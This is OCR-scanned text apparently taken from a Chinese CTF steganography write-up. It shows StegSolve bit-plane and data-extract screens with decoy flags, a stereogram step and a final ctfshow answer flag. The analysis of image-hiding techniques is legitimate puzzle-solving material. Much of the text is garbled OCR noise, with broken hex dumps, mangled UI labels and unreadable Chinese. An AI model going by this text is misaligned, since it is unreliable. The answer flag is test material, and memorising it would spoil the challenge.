Fistegsolvei# 17 R 8L, KI—ik — 45

|£] StegSolve 1.3 by Caesum

File Analyse Help
Red plane 0

i, TR Efag




L

flag{April Fool's Day}is fake

RS |

=Hl

GREERE, EREBRER

|£] StegSolve 1.3 by Caesum

File Analyse Help

Blue plane 1

s

) B REE, HKIFREfag

Groan

7 e TR T4

s 12 riq

[wrl

|£] - O
Extract Preview
666c6leTTbT46869 T35£69735£746865 flag{thi s is the ;
Sf72e5elecifecec €1677d206£7220689 real fl ag) or i —
T320697T43f7£3££2 TE3ffeTO3ff24ffc s it?07?. O2.y2.0.
ffcf2409fcf240927f edfffO93f09ffffche 5..5.0 ...7....
Affff3cf240279ff £3£f93-02T0927£279 O sy PR A
24fffO3f0e4093f0f fORT7Off0=409ff03Ff Z5..7.I7 el T
O3cfeTL2TLEL£270 fLfOZ2TEffffcb3cte I . O <
TO3ff24027fedfed Q2TE2TOEFOfcOfcd y2.I'.0. .O'.....
27£27fed83cf24f3 £O2T709fcf3cOEfEEf ".0O...5. " <.,
f3cf249240924Fffch I££2TOEEF2TE3cf2 5.IS ?.y. .0 -
Bit Planes Order settings
Alpha [ |7 []6 []5 []4 []3 []2 []J1 []0 Extract By @ Row (_ Column
Red []7 []6 [15 []4 []3 [2 []1 [0 Bit Order @ MSBFirst () LSB First




e Lt L™ L LT L L= gt

Bit Plane Order
Bwe []7 []6 []5 []4 03 [O2 1 [0 @ RGB () GRB

) RBG ) BRG
Preview Settings
Include Hex Dump In Preview

i) GBR ) BGR

‘ Preview || Save Text || Save Bin || Cancel !

M diAnalyse, %% Steregram SoveriH{T &2 A W%

ctfshow{Jing_Zhui_zhi Liao}

TR BF T

TR, Tttt pngFimask.png

BEH - ttt.png = O X

o z=EmaEs [ @ O » & =
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BEMAERR ]
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https://l1near.top/index.php/2021/04/03/100.html
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